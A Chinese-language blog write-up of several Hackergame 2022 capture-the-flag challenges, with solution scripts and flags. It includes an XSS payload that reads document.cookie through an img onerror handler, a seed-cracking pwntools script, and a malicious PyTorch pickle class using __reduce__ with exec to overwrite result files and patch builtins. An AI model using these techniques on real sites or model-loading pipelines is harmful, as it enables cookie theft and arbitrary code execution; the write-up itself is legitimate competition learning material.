「Hackergame 2022」#3 Writup 囤囤囤 1

这篇 Writeup 写一下 Hackergame 2022 里刚囤 flag 时做的剩下一部分题:
微积分计算小练习、蒙特卡罗轮盘赌、二次元神经网络、光与影、片上系统、企鹅拼盘、火眼金睛的小 E


微积分计算小练习

小 X 作为某门符号计算课程的助教,为了让大家熟悉软件的使用,他写了一个小网站:上面放着五道简单的题目,只要输入姓名和题目答案,提交后就可以看到自己的分数。

点击此链接访问练习网站(没链接)

想起自己前几天在公众号上学过的 Java 设计模式免费试听课,本着前后端离心(咦?是前后端离心吗?还是离婚?离。。离谱?总之把功能能拆则拆就对啦)的思想,小 X 还单独写了一个程序,欢迎同学们把自己的成绩链接提交上来。

总之,因为其先进的设计思想,需要同学们做完练习之后手动把成绩连接贴到这里来:

点击此链接提交练习成绩 URL(没链接)

点进第一个链接,随便做一遍,得到成绩分享页面 /share?result=...,然后将链接贴到第二个链接里,会自动读取出名字和成绩。

读取的过程是用 selenium 打开一个浏览器,GET login 然后将 flag 放入 cookie,在 GET 输入的 url(会替换掉 netloc 为 web,scheme 为 http),然后读取 #greeting 和 #score 的内容。

再看第一个链接,其 result 是可以构造的,相关逻辑:

1
2
3
4
5
6
7
8
9
10
const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
const result = urlParams.get('result');
const b64decode = atob(result);
const colon = b64decode.indexOf(":");
const score = b64decode.substring(0, colon);
const username = b64decode.substring(colon + 1);

document.querySelector("#greeting").innerHTML = "您好," + username + "!";
document.querySelector("#score").innerHTML = "您在练习中获得的分数为 <b>" + score + "</b>/100。";

也就是将 result base64 解码,: 前面的为分数,后面的为用户名,然后填写进去。这里就可以进行 xss。没学过 xss,所以想了半天插入一个 script tag 之后怎么让处在前面的它被运行,后来搜了搜才知道可以利用 onload onerror 这些事件来填写脚本。

所以 payload 就是 100:<img src=1 onerror="document.querySelector('#greeting').innerHTML=document.cookie">,然后 base64 后作为 result 传入,再丢给第二个提交链接,得到 flag:flag{xS5_1OI_is_N0t_SOHARD_3c97784c1a}


蒙特卡罗轮盘赌

这个估算圆周率的经典算法你一定听说过:往一个 1x1 大小的方格里随机撒 N 个点,统计落在以方格某个顶点为圆心、1 为半径的 1/4 扇形区域中撒落的点数为 M,那么 M/N 就将接近于 π/4 。

当然,这是一个概率性算法,如果想得到更精确的值,就需要撒更多的点。由于撒点是随机的,自然也无法预测某次撒点实验得到的结果到底是多少——但真的是这样吗?

有位好事之徒决定借此和你来一场轮盘赌:撒 40 万个点计算圆周率,而你需要猜测实验的结果精确到小数点后五位。为了防止运气太好碰巧猜中,你们约定五局三胜。

看起来没什么其它漏洞,从伪随机入手,设置的随机种子为 time(0)+clock(),也就是当前时间戳加上程序运行到此处的 ticks 数。时间戳以秒为单位,波动不大,直接使用连接时的时间戳就可以。clock() 会有较大波动,从 0 开始枚举,将得到的值传入一个 C 程序中作为随机种子,模拟一下,看一看前两个是否能和正确结果对上。能对上则说明随机种子找对了,将后三个结果输回去即可完成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import time
import subprocess
from tqdm import tqdm
from pwn import *

# p = process('./challenge')
p = remote("202.38.93.111", 10091)
token = "..."
p.sendlineafter(b": ", token.encode())
timestamp = int(time.time())

def crack_seed(res1, res2):
for clock in tqdm(range(0, 9000)):
seed = timestamp + clock
cracker = subprocess.run(
["./exp", str(seed)],
stdout=subprocess.PIPE,
)
res = cracker.stdout.decode().strip().split('\n')
if res[0] == str(res1) and res[1] == str(res2):
print(seed)
return res
seed = timestamp - clock
cracker = subprocess.run(
["./exp", str(seed)],
stdout=subprocess.PIPE,
)
res = cracker.stdout.decode().strip().split('\n')
if res[0] == str(res1) and res[1] == str(res2):
print(seed)
return res
exit(1)

p.recvuntil(":".encode("utf-8"))
p.sendline(b'3.14159')
win = p.recvline().decode().strip()
if win == "猜对了!":
res1 = "3.14159"
else:
p.recvuntil(":".encode("utf-8"))
res1 = p.recvline().decode().strip()

p.recvuntil(":".encode("utf-8"))
p.sendline(b'3.14159')
win = p.recvline().decode().strip()
if win == "猜对了!":
res2 = "3.14159"
else:
p.recvuntil(":".encode("utf-8"))
res2 = p.recvline().decode().strip()

print(res2)
res = crack_seed(res1, res2)

p.recvuntil(":".encode("utf-8"))
p.sendline(res[2].encode("utf-8"))
p.recvuntil(":".encode("utf-8"))
p.sendline(res[3].encode("utf-8"))
p.recvuntil(":".encode("utf-8"))
p.sendline(res[4].encode("utf-8"))
p.interactive()

运行得到 flag:flag{raNd0m_nUmb34_a1wayS_m4tters_……}

哦对了,有一个很坑的点是 mac 上的 gcc 其实是 clang 的 alias,而 clang 和 gcc 的随机数有区别,在 mac 上跑的话就一直爆不出来种子。在 Linux 上就可以一下爆出来。


二次元神经网络

天冷极了,下着雪,又快黑了。这是一年的最后一天——大年夜。在这又冷又黑的晚上,一个没有 GPU、没有 TPU 的小女孩,在街上缓缓地走着。她从家里出来的时候还带着捡垃圾捡来的 E3 处理器,但是有什么用呢?跑不动 Stable Diffusion,也跑不动 NovelAI。她也想用自己的处理器训练一个神经网络,生成一些二次元的图片。

于是她配置好了 PyTorch 1.9.1,定义了一个极其简单的模型,用自己收集的 10 张二次元图片和对应的标签开始了训练。

她在 CPU 上开始了第一个 epoch 的训练,loss 一直在下降,许多二次元图片重叠在一起,在向她眨眼睛。

她又开始了第二个 epoch,loss 越来越低,图片越来越精美,她的眼睛也越来越累,她的眼睛开始闭上了。

…

第二天清晨,这个小女孩坐在墙角里,两腮通红,嘴上带着微笑。新年的太阳升起来了,照在她小小的尸体上。

人们发现她时才知道,她的模型在 10 张图片上过拟合了,几乎没有误差。

(完)

听完这个故事,你一脸的不相信:「这么简单的模型怎么可能没有误差呢?」,于是你开始复现这个二次元神经网络。

目标看起来就是让模型生成的图片和预期几乎没有误差。试着多训练几轮,试图过拟合,记录一下 loss,发现降到 0.001+ 的时候就降不下去了,而需要的是 0.0005

看起来不可行。而且这是一道 web 类题,考虑用一些手段来让它认为我的输出是完全正确的。

搜索可以发现存的 .pt 文件中有使用 pickle 序列化存储的 .pkl 文件。而在读取的时候也会进行反序列化,这也就存在一个 pickle 反序列化的漏洞。

我们可以自己写一个恶意类然后打包到 data.pkl 压缩进 .pt 文件,在反序列化的时候就会执行其中的代码,比如:

1
2
3
class Exploit(object):
def __reduce__(self):
return (os.system, ("...", ))

这个在本地测试的时候运行 infer.py 可以打通,但远程就不可以。所以可以猜测远程实际上从其它模块中调用了 infer 函数,如果没有正常返回,则会报错。

那么我们的思路就是让整个程序都可以正常运行,只是在反序列化的时候进行一些操作。根据源码可以知道最终会将模型输出的结果存放在 /tmp/result.json 中,然后在其它位置再读取这个文件,进行判断。而如果没有这个文件则会直接报错。

所以可以在 reduce 中将完全正确的结果先写入 /tmp/result.json 中。但如果这时直接 exit,则后面程序无法执行,会出现报错。所以还需要让后面完全正常运行。整个 infer 函数的逻辑大概如下:

1
2
3
4
5
6
7
8
def infer(pt_file):
# ...
model = SimpleGenerativeModel(n_tags=n_tags, dim=dim, img_shape=img_shape)
model.load_state_dict(torch.load(pt_file, map_location="cpu"))

# ... predict

json.dump({"gen_imgs_b64": gen_imgs}, open("/tmp/result.json", "w"))

我们输入的 pt 文件会在 torch.load 中进行反序列化,这时会写入 /tmp/result.json。而后面对于我们写入的威胁就是还会 json.dump 一次。所以首先需要将 json.dump 这个函数的作用抹除掉:__import__('json').dump=lambda x, y: 0。但这还不够,因为参数中的 open 也会执行,以 w 方式打开文件的话会先直接清空文件,所以也需要抹掉 open 的作用。不过后面肯定还会需要使用 open 来读取文件,所以只能抹掉写入的部分:__builtins__['_open'] = open; __builtins__['open']=lambda x, y: 0 if y=='w' else __builtins__['_open'](x, y)。

这样来讲我们的 exp 就是:

1
2
3
4
5
6
7
class Exploit(object):
def __reduce__(self):
text = '{"gen_imgs_b64": ["......'
return (exec, (f"open('/tmp/result.json', 'w').write('{text}');"
"__import__('json').dump=lambda x, y: 0;"
"__builtins__['_open']=open;"
"__builtins__['open']=lambda x, y: 0 if y=='w' else __builtins__['_open'](x, y)", ))

但仅将这个打包后得到的 data.pkl 直接压缩进 pt 文件还是不行。因为模型就没法正常读取了,所以还需要对其进行一些修改。

pkl 文件实际存储的是一个构造好的虚拟机指令,pickle 反序列化时会执行它。看源码可以了解到有一个指令 0x2E 表示了结束返回。所以直接将生成的 data.pkl 末尾的 0x2E 去掉,然后直接接上一份正确的 data.pkl 内容即可完成构造。

构造好后上传 pt 文件,即可达到目标得到 flag:flag{Torch.Load.Is.Dangerous-……}


光与影

冒险,就要不断向前!

在寂静的神秘星球上,继续前进,探寻 flag 的奥秘吧!

打开发现是一个 WebGL 渲染的场景,其中 flag 的内容被挡住了。所有内容都是在前端的,存下来就可以本地调试。

发现其中的主要场景渲染代码都在 fragment-shader.js 中。可以发现由一些 sdf 组成,最终的场景也是由几个 sdf 结果取 min 而来的。

看起来 t5SDF 的代码最短,可能是施加的遮盖。所以将 sceneSDF 中 t5 相关的部分删掉,再打开页面运行即可看到完整 flag:flag{SDF-i3-FuN!}


片上系统

最近,你听说室友在 SD 卡方面取得了些进展。在他日复一日的自言自语中,你逐渐了解到这个由他一个人自主研发的片上系统现在已经可以从 SD 卡启动:先由“片上 ROM 中的固件”加载并运行 SD 卡第一个扇区中的“引导程序”,之后由这个“引导程序”从 SD 卡中加载“操作系统”。而这个“操作系统”目前能做的只是向“串口”输出一些字符。

同时你听说,这个并不完善的 SD 卡驱动只使用了 SD 卡的 SPI 模式,而传输速度也是低得感人。此时你突然想到:如果速度不快的话,是不是可以用逻辑分析仪来采集(偷窃)这个 SD 卡的信号,从而“获得” SD 卡以至于这个“操作系统”的秘密?

你从抽屉角落掏出吃灰已久的逻辑分析仪。这个小东西价格不到 50 块钱,采样率也只有 24 M。你打开 PulseView,把采样率调高,连上室友开发板上 SD 卡的引脚,然后接通了开发板的电源,希望这聊胜于无的分析仪真的能抓到点什么有意思的信号。至于你为什么没有直接把 SD 卡拿下来读取数据,就没人知道了。

引导扇区

听说,第一个 flag 藏在 SD 卡第一个扇区的末尾。你能找到它吗?

操作系统

室友的“操作系统”会输出一些调试信息和第二个 flag。从室友前些日子社交网络发布的终端截图看,这个“操作系统”每次“启动”都会首先输出:

LED: ON
Memory: OK

或许你可以根据这一部分固定的输出和引导扇区的代码,先搞清楚那“串口”和“SD 卡驱动”到底是怎么工作的,之后再仔细研究 flag 到底是什么,就像当年的 Enigma 一样。

第一部分直接使用 PulseView 软件读取 binary 文件,得到信号,然后添加 SD card(SPI mode)解码器,将几个信号接上,就可以在 MOSI data 中看到 flag

dump 出来然后转换即可得到 flag:flag{0K_you_goT_th3_b4sIc_1dE4_caRRy_0N}

第二部分试图逆向后面的 RISCV 指令,但完全看不出什么有意义的东西,怀疑是数据搞错了,懒得修,罢了。


企鹅拼盘

这是一个可爱的企鹅滑块拼盘。(觉得不可爱的同学可以换可爱的题做)

和市面上只能打乱之后拼回的普通滑块拼盘不同,这个拼盘是自动打乱拼回的。一次游戏可以帮助您体验到 16/256/4096 次普通拼盘的乐趣。

每一步的打乱的方式有两种,选择哪一种则由您的输入(长度为 4/16/64 的 0/1 序列)的某一位决定。如果您在最后能成功打乱这个拼盘,您就可以获取到 flag 啦,快来试试吧wwwwww

第一部分输入只有四个 bit,直接手动试就能试出来答案是 1000,flag:flag{it_works_like_magic_……}

第二部分输入有 16 个 bit,可以用代码爆破一下,将题给代码中的主逻辑复制出来,枚举输入跑一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import json
from tqdm import tqdm
from sys import argv

class Board:
def __init__(self):
self.b = [[i*4+j for j in range(4)] for i in range(4)]

def _blkpos(self):
for i in range(4):
for j in range(4):
if self.b[i][j] == 15:
return (i, j)

def reset(self):
for i in range(4):
for j in range(4):
self.b[i][j] = i*4 + j

def move(self, moves):
for m in moves:
i, j = self._blkpos()
if m == 'L':
self.b[i][j] = self.b[i][j-1]
self.b[i][j-1] = 15
elif m == 'R':
self.b[i][j] = self.b[i][j+1]
self.b[i][j+1] = 15
elif m == 'U':
self.b[i][j] = self.b[i-1][j]
self.b[i-1][j] = 15
else:
self.b[i][j] = self.b[i+1][j]
self.b[i+1][j] = 15

def __bool__(self):
for i in range(4):
for j in range(4):
if self.b[i][j] != i*4 + j:
return True
return False

with open("chals/b16_obf.json") as f:
branches = json.load(f)

b = Board()
start = ...
end = ...
for i in tqdm(range(start, end)):
b.reset()
bits = bin(i)[2:].zfill(16)
for branch in branches:
b.move(branch[1] if bits[branch[0]] == '1' else branch[2])
if b:
print(bits)
break

爆破出结果为 0010111110000110,flag:flag{Branching_Programs_are_NC1_……}

第三部分太复杂了,应该爆破不出来,毕竟这是一道 math 题,开摆。


火眼金睛的小 E

小 E 有很多的 ELF 文件,它们里面的函数有点像,能把它们匹配起来吗?

小 A:这不是用 BinDiff 就可以了吗,很简单吧?

只做了右手就行的第一部分,也就是两次达到 100% 正确。拖进 IDA 中硬看,找 CFG 图以及汇编代码比较类似的函数即可,时限也很长,不用着急,很容易就能找到相似的函数。提交拿到 flag:flag{easy_to_use_bindiff_……} (笑死,根本没用 bindiff)

第二部分要求一个小时内完成 100 题中的 40 题,第三部分要求三小时内完成 200 题中的 60 题,不想做,开摆。


剩下的一些题,general 差一个 OJ 第二问不知道咋做,区块链也不知道咋做,感觉很神奇。web 差一道题,可能是 SQL 注入?反正我本来也不会,就不做了。其它的就是 binary/math 了,等着赛后看 writeup 学习学习。

「Hackergame 2022」#3 Writup 囤囤囤 1

https://blog.tonycrane.cc/p/169d9f3d.html

作者

TonyCrane

发布于

2022-10-27

更新于

2022-10-30

许可协议